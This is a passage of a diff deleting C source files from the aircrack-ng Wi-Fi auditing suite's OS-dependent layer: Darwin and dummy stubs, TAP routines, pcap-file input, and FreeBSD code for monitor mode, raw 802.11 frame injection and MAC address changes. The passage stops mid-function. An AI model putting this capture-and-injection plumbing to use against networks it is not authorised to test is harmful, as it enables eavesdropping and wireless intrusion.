aircrack-ng-1.2-rc4.tar.gz/src/osdep/darwin.c Deleted

@@ -1,45 +0,0 @@
- /*
-  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon 
-  *  freebsd.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Darwin.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <errno.h>
-#include <stdio.h>
-
-#include "osdep.h"
-
-struct wif *wi_open_osdep(char *iface)
-{
-	if (iface) {} /* XXX unused parameter */
-
-	errno = EOPNOTSUPP;
-	return NULL;
-}
-
-int get_battery_state(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}
-
-int create_tap(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/darwin_tap.c Deleted

@@ -1,225 +0,0 @@
- /*
-  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon 
-  *  freebsd_tap.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Darwin. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-#define MAX_TAP_DEVS 16
-
-struct tip_darwin {
-    int        tf_fd;
-    int        tf_ioctls;
-    struct ifreq    tf_ifr;
-    char        tf_name[MAX_IFACE_NAME];
-    int        tf_destroy;
-};
-
-static int ti_do_open_darwin(struct tif *ti, char *name) {
-    int fd = -1;
-    char iface[12];
-    struct stat st;
-    struct tip_darwin *priv = ti_priv(ti);
-    int s;
-    unsigned int flags;
-    struct ifreq *ifr;
-    int i;
-
-    /* open tap */
-    if (name) {
-        fd = open(name, O_RDWR);
-    } else {
-        priv->tf_destroy = 1; /* we create, we destroy */
-        
-        for (i = 0; i < MAX_TAP_DEVS; i++) {
-            snprintf(iface, sizeof(iface), "/dev/tap%d", i);
-            fd = open(iface, O_RDWR);
-            
-            if (fd != -1) {
-                break;
-            }
-        }
-    }
-    
-    if (fd == -1) {
-        return -1;
-    }
-    
-    /* get name */
-    if(fstat(fd, &st) == -1)
-        goto err;
-    snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s",
-         devname(st.st_rdev, S_IFCHR));
-
-    /* bring iface up */
-    s = socket(PF_INET, SOCK_DGRAM, 0);
-    if (s == -1)
-        goto err;
-    priv->tf_ioctls = s;
-
-    /* get flags */
-    ifr = &priv->tf_ifr;
-    memset(ifr, 0, sizeof(*ifr));
-    snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name);
-    if (ioctl(s, SIOCGIFFLAGS, ifr) == -1)
-        goto err2;
-    flags = (ifr->ifr_flags & 0xffff);
-
-    /* set flags */
-    flags |= IFF_UP;
-    ifr->ifr_flags = flags & 0xffff;
-    
-    if (ioctl(s, SIOCSIFFLAGS, ifr) == -1)
-        goto err2;
-
-    return fd;
-err:
-    /* XXX destroy */
-    close(fd);
-    return -1;
-err2:
-    close(s);
-    goto err;
-}
-
-static void ti_do_free(struct tif *ti) {
-    struct tip_darwin *priv = ti_priv(ti);
-
-    free(priv);
-    free(ti);
-}
-
-static void ti_destroy(struct tip_darwin *priv) {
-    ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
-}
-
-static void ti_close_darwin(struct tif *ti) {
-    struct tip_darwin *priv = ti_priv(ti);
-
-    if (priv->tf_destroy)
-        ti_destroy(priv);
-
-    close(priv->tf_fd);
-    close(priv->tf_ioctls);
-    ti_do_free(ti);
-}
-
-static char *ti_name_darwin(struct tif *ti) {
-    struct tip_darwin *priv = ti_priv(ti);
-
-    return priv->tf_name;
-}
-
-static int ti_set_mtu_darwin(struct tif *ti, int mtu) {
-    struct tip_darwin *priv = ti_priv(ti);
-
-    priv->tf_ifr.ifr_mtu = mtu;
-
-    return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
-}
-
-static int ti_set_mac_darwin(struct tif *ti, unsigned char *mac) {
-    struct tip_darwin *priv = ti_priv(ti);
-    struct ifreq *ifr = &priv->tf_ifr;
-
-    ifr->ifr_addr.sa_family = AF_LINK;
-    ifr->ifr_addr.sa_len = 6;
-    memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-    return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_darwin(struct tif *ti, struct in_addr *ip) {
-    struct tip_darwin *priv = ti_priv(ti);
-    struct ifaliasreq ifra;
-    struct sockaddr_in *s_in;
-
-    /* assume same size */
-    memset(&ifra, 0, sizeof(ifra));
-    strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
-
-    s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-    s_in->sin_family = PF_INET;
-    s_in->sin_addr = *ip;
-    s_in->sin_len = sizeof(*s_in);
-
-    return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_darwin(struct tif *ti) {
-    struct tip_darwin *priv = ti_priv(ti);
-
-    return priv->tf_fd;
-}
-
-static int ti_read_darwin(struct tif *ti, void *buf, int len) {
-    return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_darwin(struct tif *ti, void *buf, int len) {
-    return write(ti_fd(ti), buf, len);
-}
-
-static struct tif *ti_open_darwin(char *iface) {
-    struct tif *ti;
-    struct tip_darwin *priv;
-    int fd;
-
-    /* setup ti struct */
-    ti = ti_alloc(sizeof(*priv));
-    if (!ti)
-        return NULL;
-    ti->ti_name    = ti_name_darwin;
-    ti->ti_set_mtu    = ti_set_mtu_darwin;
-    ti->ti_close    = ti_close_darwin;
-    ti->ti_fd    = ti_fd_darwin;
-    ti->ti_read    = ti_read_darwin;
-    ti->ti_write    = ti_write_darwin;
-    ti->ti_set_mac    = ti_set_mac_darwin;
-    ti->ti_set_ip    = ti_set_ip_darwin;
-
-    /* setup iface */
-    fd = ti_do_open_darwin(ti, iface);
-    if (fd == -1) {
-        ti_do_free(ti);
-        return NULL;
-    }
-
-    /* setup private state */
-    priv = ti_priv(ti);
-    priv->tf_fd = fd;
-
-    return ti;
-}
-
-struct tif *ti_open(char *iface) {
-    return ti_open_darwin(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/dummy.c Deleted

@@ -1,44 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for unsupported APIs.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <errno.h>
-#include <stdio.h>
-
-#include "osdep.h"
-
-struct wif *wi_open_osdep(char *iface)
-{
-	if (iface) {} /* XXX unused parameter */
-
-	errno = EOPNOTSUPP;
-	return NULL;
-}
-
-int get_battery_state(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}
-
-int create_tap(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/dummy_tap.c Deleted

@@ -1,36 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for unsupported APIs. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#include "osdep.h"
-
-static struct tif *ti_open_dummy(char *iface)
-{
-	if (iface) {} /* XXX unused parameter */
-
-	return NULL;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_dummy(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/file.c Deleted

@@ -1,263 +0,0 @@
- /*
-  *  Copyright (c) 2010 Andrea Bittau <bittau@cs.stanford.edu>
-  *
-  *  OS dependent API for using card via a pcap file.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <assert.h>
-#include <sys/select.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <err.h>
-
-#include "osdep.h"
-#include "pcap.h"
-#include "radiotap/radiotap_iter.h"
-
-struct priv_file {
-	int		pf_fd;
-	int		pf_chan;
-	int		pf_rate;
-	int		pf_dtl;
-	unsigned char	pf_mac[6];
-};
-
-static int file_read(struct wif *wi, unsigned char *h80211, int len,
-		    struct rx_info *ri)
-{
-	struct priv_file *pf = wi_priv(wi);
-        struct pcap_pkthdr pkh;
-	int rc;
-	unsigned char buf[4096];
-	int off = 0;
-	struct ieee80211_radiotap_header *rh;
-	struct ieee80211_radiotap_iterator iter;
-
-	rc = read(pf->pf_fd, &pkh, sizeof(pkh));
-	if (rc != sizeof(pkh))
-		return -1;
-
-	if (pkh.caplen > sizeof(buf)) {
-		printf("Bad caplen %d\n", pkh.caplen);
-		return 0;
-	}
-
-	assert(pkh.caplen <= sizeof(buf));
-
-	rc = read(pf->pf_fd, buf, pkh.caplen);
-	if (rc != (int) pkh.caplen)
-		return -1;
-
-	if (ri)
-		memset(ri, 0, sizeof(*ri));
-
-	switch (pf->pf_dtl) {
-	case LINKTYPE_IEEE802_11:
-		off = 0;
-		break;
-
-	case LINKTYPE_RADIOTAP_HDR:
-		rh  = (struct ieee80211_radiotap_header*) buf;
-		off = le16_to_cpu(rh->it_len);
-
-        	if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0)
-			return -1;
-
-		while (ieee80211_radiotap_iterator_next(&iter) >= 0) {
-			switch (iter.this_arg_index) {
-			case IEEE80211_RADIOTAP_FLAGS:
-				if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS)
-					rc -= 4;
-				break;
-			}
-		}
-		break;
-
-	case LINKTYPE_PRISM_HEADER:
-        	if (buf[7] == 0x40)
-          		off = 0x40;
-		else
-			off = *((int *)(buf + 4));
-
-		rc -= 4;
-		break;
-
-	case LINKTYPE_PPI_HDR:
-		off = le16_to_cpu(*(unsigned short *)(buf + 2));
-
-		/* for a while Kismet logged broken PPI headers */
-                if (off == 24 && le16_to_cpu(*(unsigned short *)(buf + 8)) == 2 )
-			off = 32;
-		
-		break;
-
-	case LINKTYPE_ETHERNET:
-		printf("Ethernet packets\n");
-		return 0;
-
-	default:
-		errx(1, "Unknown DTL %d", pf->pf_dtl);
-		break;
-	}
-
-	rc -= off;
-	assert(rc >= 0);
-
-	if (rc > len)
-		rc = len;
-
-	memcpy(h80211, &buf[off], rc);
-
-	return rc;
-}
-
-static int file_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_file *pn = wi_priv(wi);
-
-	memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac));
-
-	return 0;
-}
-
-static int file_write(struct wif *wi, unsigned char *h80211, int len,
-		     struct tx_info *ti)
-{
-	struct priv_file *pn = wi_priv(wi);
-
-	if (h80211 && ti && pn) {}
-
-	return len;
-}
-
-static int file_set_channel(struct wif *wi, int chan)
-{
-	struct priv_file *pf = wi_priv(wi);
-
-	pf->pf_chan = chan;
-
-	return 0;
-}
-
-static int file_get_channel(struct wif *wi)
-{
-	struct priv_file *pf = wi_priv(wi);
-
-	return pf->pf_chan;
-}
-
-static int file_set_rate(struct wif *wi, int rate)
-{
-	struct priv_file *pf = wi_priv(wi);
-
-	pf->pf_rate = rate;
-
-	return 0;
-}
-
-static int file_get_rate(struct wif *wi)
-{
-	struct priv_file *pf = wi_priv(wi);
-
-	return pf->pf_rate;
-}
-
-static int file_get_monitor(struct wif *wi)
-{
-	if (wi) {}
-
-	return 1;
-}
-
-static void file_close(struct wif *wi)
-{
-	struct priv_file *pn = wi_priv(wi);
-
-	if (pn->pf_fd)
-		close(pn->pf_fd);
-
-	free(wi);
-}
-
-static int file_fd(struct wif *wi)
-{
-	struct priv_file *pf = wi_priv(wi);
-
-	return pf->pf_fd;
-}
-
-struct wif *file_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_file *pf;
-	int fd;
-        struct pcap_file_header pfh;
-	int rc;
-
-	if (strncmp(iface, "file://", 7) != 0)
-		return NULL;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pf));
-	if (!wi)
-		return NULL;
-
-	wi->wi_read		= file_read;
-	wi->wi_write		= file_write;
-	wi->wi_set_channel	= file_set_channel;
-	wi->wi_get_channel	= file_get_channel;
-        wi->wi_set_rate    	= file_set_rate;
-	wi->wi_get_rate    	= file_get_rate;
-	wi->wi_close		= file_close;
-	wi->wi_fd		= file_fd;
-	wi->wi_get_mac		= file_get_mac;
-	wi->wi_get_monitor	= file_get_monitor;
-
-        pf = wi_priv(wi);
-
-	fd = open(iface + 7, O_RDONLY);
-	if (fd == -1)
-		err(1, "open()");
-
-	pf->pf_fd = fd;
-
-	if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh))
-		goto __err;
-
-	if (pfh.magic != TCPDUMP_MAGIC)
-		goto __err;
-
-	if (pfh.version_major != PCAP_VERSION_MAJOR
-	    || pfh.version_minor != PCAP_VERSION_MINOR)
-		goto __err;
-
-	pf->pf_dtl = pfh.linktype;
-
-	return wi;
-
-__err:
-	wi_close(wi);
-	return (struct wif*) -1;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/freebsd.c Deleted

@@ -1,644 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for FreeBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#ifdef __DragonFly__
-	#include <netproto/802_11/ieee80211_ioctl.h>
-	#include <netproto/802_11/ieee80211_radiotap.h>	
-	#include <netproto/802_11/ieee80211_dragonfly.h>
-#else
-	#include <net80211/ieee80211_ioctl.h>
-	#include <net80211/ieee80211_radiotap.h>
-	#include <net80211/ieee80211_freebsd.h>
-#endif
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-struct priv_fbsd {
-	/* iface */
-	int				pf_fd;
-
-	/* rx */
-	int				pf_nocrc;
-
-	/* tx */
-	unsigned char			pf_buf[4096];
-	unsigned char			*pf_next;
-	int				pf_totlen;
-        struct ieee80211_bpf_params	pf_txparams;
-
-	/* setchan */
-	int				pf_s;
-	struct ifreq			pf_ifr;
-	struct ieee80211req		pf_ireq;
-        int                             pf_chan;
-};
-
-/* from ifconfig */
-static __inline int
-mapgsm(u_int freq, u_int flags)
-{
-        freq *= 10;
-        if (flags & IEEE80211_CHAN_QUARTER)
-                freq += 5;
-        else if (flags & IEEE80211_CHAN_HALF)
-                freq += 10;
-        else
-                freq += 20;
-        /* NB: there is no 907/20 wide but leave room */
-        return (freq - 906*10) / 5;
-}
-
-static __inline int
-mappsb(u_int freq)
-{
-        return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5;
-}
-
-/*
- * Convert MHz frequency to IEEE channel number.
- */
-static u_int
-ieee80211_mhz2ieee(u_int freq, u_int flags)
-{
-        if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922))
-                return mapgsm(freq, flags);
-        if (freq == 2484)
-                return 14;
-        if (freq < 2484)
-                return (freq - 2407) / 5;
-        if (freq < 5000) {
-                if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER))
-                        return mappsb(freq);
-                else if (freq > 4900)
-                        return (freq - 4000) / 5;
-                else
-                        return 15 + ((freq - 2512) / 20);
-        }
-        return (freq - 5000) / 5;
-}
-/* end of ifconfig */
-
-static void get_radiotap_info(struct priv_fbsd *pf,
-			      struct ieee80211_radiotap_header *rth, int *plen,
-			      struct rx_info *ri)
-{
-        uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char *body = (unsigned char*) (rth+1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri)
-		memset(ri, 0, sizeof(*ri));
-
-       	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
-		if (!(present & (1 << i)))
-			continue;
-
-		switch (i) {
-		case IEEE80211_RADIOTAP_TSFT:
-			body += sizeof(uint64_t);
-			break;
-
-		case IEEE80211_RADIOTAP_FLAGS:
-			rflags = *((uint8_t*)body);
-			/* fall through */
-		case IEEE80211_RADIOTAP_RATE:
-			body += sizeof(uint8_t);
-			break;
-
-		case IEEE80211_RADIOTAP_CHANNEL:
-			if (ri) {
-				uint16_t *p = (uint16_t*) body;
-				int c = ieee80211_mhz2ieee(*p, *(p+1));
-
-				ri->ri_channel = c;
-			}
-			body += sizeof(uint16_t)*2;
-			break;
-
-		case IEEE80211_RADIOTAP_FHSS:
-			body += sizeof(uint16_t);
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-			dbm_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-			dbm_power -= *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-			db_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTNOISE:
-			db_power -= *body++;
-			break;
-
-		default:
-			i = IEEE80211_RADIOTAP_EXT+1;
-			break;
-		}
-	}
-
-	/* set power */
-	if (ri) {
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-        /* XXX cache; drivers won't change this per-packet */
-        /* check if FCS/CRC is included in packet */
-        if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
-                *plen -= IEEE80211_CRC_LEN;
-                pf->pf_nocrc = 1;
-        }
-}
-
-static unsigned char *get_80211(struct priv_fbsd *pf, int *plen,
-				struct rx_info *ri)
-{
-        struct bpf_hdr *bpfh;
-        struct ieee80211_radiotap_header *rth;
-        void *ptr;
-        unsigned char **data;
-	int *totlen;
-
-	data = &pf->pf_next;
-	totlen = &pf->pf_totlen;
-	assert(*totlen);
-
-        /* bpf hdr */
-        bpfh = (struct bpf_hdr*) (*data);
-        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-        *totlen -= bpfh->bh_hdrlen;
-
-        /* check if more packets */
-        if ((int)bpfh->bh_caplen < *totlen) {
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-                *data = (unsigned char*)bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	} else if ((int)bpfh->bh_caplen > *totlen)
-		abort();
-
-        *plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-        /* radiotap */
-        rth = (struct ieee80211_radiotap_header*)
-              ((char*)bpfh + bpfh->bh_hdrlen);
-	get_radiotap_info(pf, rth, plen, ri);
-        *plen -= rth->it_len;
-	assert(*plen > 0);
-
-       	/* data */
-	ptr = (char*)rth + rth->it_len;
-
-        return ptr;
-}
-
-static int fbsd_get_channel(struct wif *wi)
-{
-	struct priv_fbsd *pf = wi_priv(wi);
-
-	if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1;
-
-	return pf->pf_ireq.i_val;
-}
-
-static int fbsd_read(struct wif *wi, unsigned char *h80211, int len,
-		     struct rx_info *ri)
-{
-	struct priv_fbsd *pf = wi_priv(wi);
-	unsigned char *wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	if (pf->pf_totlen == 0) {
-		pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf));
-		if (pf->pf_totlen == -1) {
-			pf->pf_totlen = 0;
-			return -1;
-		}
-		pf->pf_next = pf->pf_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(pf, &plen, ri);
-	if (plen > len)
-		plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-        if(ri && !ri->ri_channel)
-            ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int fbsd_write(struct wif *wi, unsigned char *h80211, int len,
-		      struct tx_info *ti)
-{
-        struct iovec iov[2];
-	struct priv_fbsd *pf = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti) {}
-
-	iov[0].iov_base = &pf->pf_txparams;
-	iov[0].iov_len = pf->pf_txparams.ibp_len;
-
-        iov[1].iov_base = h80211;
-        iov[1].iov_len = len;
-
-	rc = writev(pf->pf_fd, iov, 2);
-	if (rc == -1)
-		return rc;
-	if (rc < (int) iov[0].iov_len)
-		return 0;
-
-	return rc - iov[0].iov_len;
-}
-
-static int fbsd_set_channel(struct wif *wi, int chan)
-{
-	struct priv_fbsd *pf = wi_priv(wi);
-
-	pf->pf_ireq.i_val = chan;
-	if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 )
-            return -1;
-
-	pf->pf_chan = chan;
-	return 0;
-}
-
-static void do_free(struct wif *wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void fbsd_close(struct wif *wi)
-{
-	struct priv_fbsd *pf = wi_priv(wi);
-
-	close(pf->pf_fd);
-	close(pf->pf_s);
-	do_free(wi);
-}
-
-static int do_fbsd_open(struct wif *wi, char *iface)
-{
-        int i;
-        char buf[64];
-        int fd = -1;
-        struct ifreq ifr;
-        unsigned int dlt = DLT_IEEE802_11_RADIO;
-        int s;
-        unsigned int flags;
-        struct ifmediareq ifmr;
-        int *mwords;
-	struct priv_fbsd *pf = wi_priv(wi);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name))
-		return -1;
-
-        /* open wifi */
-        s = socket(PF_INET, SOCK_DGRAM, 0);
-        if (s == -1)
-		return -1;
-	pf->pf_s = s;
-
-        /* set iface up and promisc */
-        memset(&ifr, 0, sizeof(ifr));
-        strcpy(ifr.ifr_name, iface);
-        if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-        flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
-        flags |= IFF_UP | IFF_PPROMISC;
-        memset(&ifr, 0, sizeof(ifr));
-        strcpy(ifr.ifr_name, iface);
-        ifr.ifr_flags = flags & 0xffff;
-        ifr.ifr_flagshigh = flags >> 16;
-        if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-	/* monitor mode */
-        memset(&ifmr, 0, sizeof(ifmr));
-        strcpy(ifmr.ifm_name, iface);
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-		goto close_sock;
-
-        assert(ifmr.ifm_count != 0);
-
-        mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
-        if (!mwords)
-		goto close_sock;
-        ifmr.ifm_ulist = mwords;
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
-		free(mwords);
-		goto close_sock;
-	}
-        free(mwords);
-
-        memset(&ifr, 0, sizeof(ifr));
-        strcpy(ifr.ifr_name, iface);
-        ifr.ifr_media = ifmr.ifm_current;
-        if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
-		goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strcpy(pf->pf_ireq.i_name, iface);
-	pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL;
-
-	/* same for ifreq [mac addr] */
-	strcpy(pf->pf_ifr.ifr_name, iface);
-
-        /* open bpf */
-        for(i = 0; i < 256; i++) {
-                sprintf(buf, "/dev/bpf%d", i);
-
-                fd = open(buf, O_RDWR);
-                if(fd < 0) {
-                        if(errno != EBUSY)
-				return -1;
-                        continue;
-                }
-                else
-                        break;
-        }
-
-        if(fd < 0)
-		goto close_sock;
-
-	strcpy(ifr.ifr_name, iface);
-
-        if(ioctl(fd, BIOCSETIF, &ifr) < 0)
-		goto close_bpf;
-
-        if (ioctl(fd, BIOCSDLT, &dlt) < 0)
-		goto close_bpf;
-
-        dlt = 1;
-        if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
-		goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int fbsd_fd(struct wif *wi)
-{
-	struct priv_fbsd *pf = wi_priv(wi);
-
-	return pf->pf_fd;
-}
-
-static int fbsd_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct ifaddrs *ifa, *p;
-	char *name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl* sdp;
-
-	if (getifaddrs(&ifa) == -1)
-		return -1;
-
-	p = ifa;
-	while (p) {
-		if (p->ifa_addr->sa_family == AF_LINK &&
-		    strcmp(name, p->ifa_name) == 0) {
-
-		    	sdp = (struct sockaddr_dl*) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int fbsd_get_monitor(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int fbsd_get_rate(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int fbsd_set_rate(struct wif *wi, int rate)
-{
-	if (wi || rate) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int fbsd_set_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_fbsd *priv = wi_priv(wi);
-	struct ifreq *ifr = &priv->pf_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr);
-}
-
-static int fbsd_set_mtu(struct wif *wi, int mtu)
-{
